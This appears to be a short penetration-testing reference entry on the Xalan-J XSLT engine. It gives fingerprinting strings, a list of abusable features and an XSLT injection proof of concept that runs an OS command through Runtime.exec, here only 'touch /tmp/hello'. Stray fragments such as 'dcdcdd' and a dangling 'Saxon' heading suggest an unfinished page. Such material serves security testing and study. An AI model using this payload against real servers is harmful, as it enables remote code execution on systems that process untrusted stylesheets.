Engine_XalanJ
Xalan-J is a Java based XSLT engine by the Apache Project.
Supported XSLT version : 1.0
Identification strings
xsl:vendor-url | http://xml.apache.org/xalan-j |
xsl:vendor | Apache Software Foundation |
xsl:version | 1.0 |
Special features
- File creation
- Code execution
- JDBC connectivity
- Java properties
- CheckEnv()
Java code execution
dcdcdd
<?xml version="1.0"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:j="http://xml.apache.org/xalan/java"
exclude-result-prefixes="j"
version="1.0">
<xsl:template match="/">
<xsl:variable name="c"><![CDATA[touch = /tmp/hello]]></xsl:variable>
<xsl:variable name="a" select="j:split($c, ' = ')"/>
<xsl:variable name="r" select="j:java.lang.Runtime.getRuntime()"/>
<xsl:variable name="p" select="j:exec($r, $a )"/>
No content at the moment ...
</xsl:template>
</xsl:stylesheet>
Saxon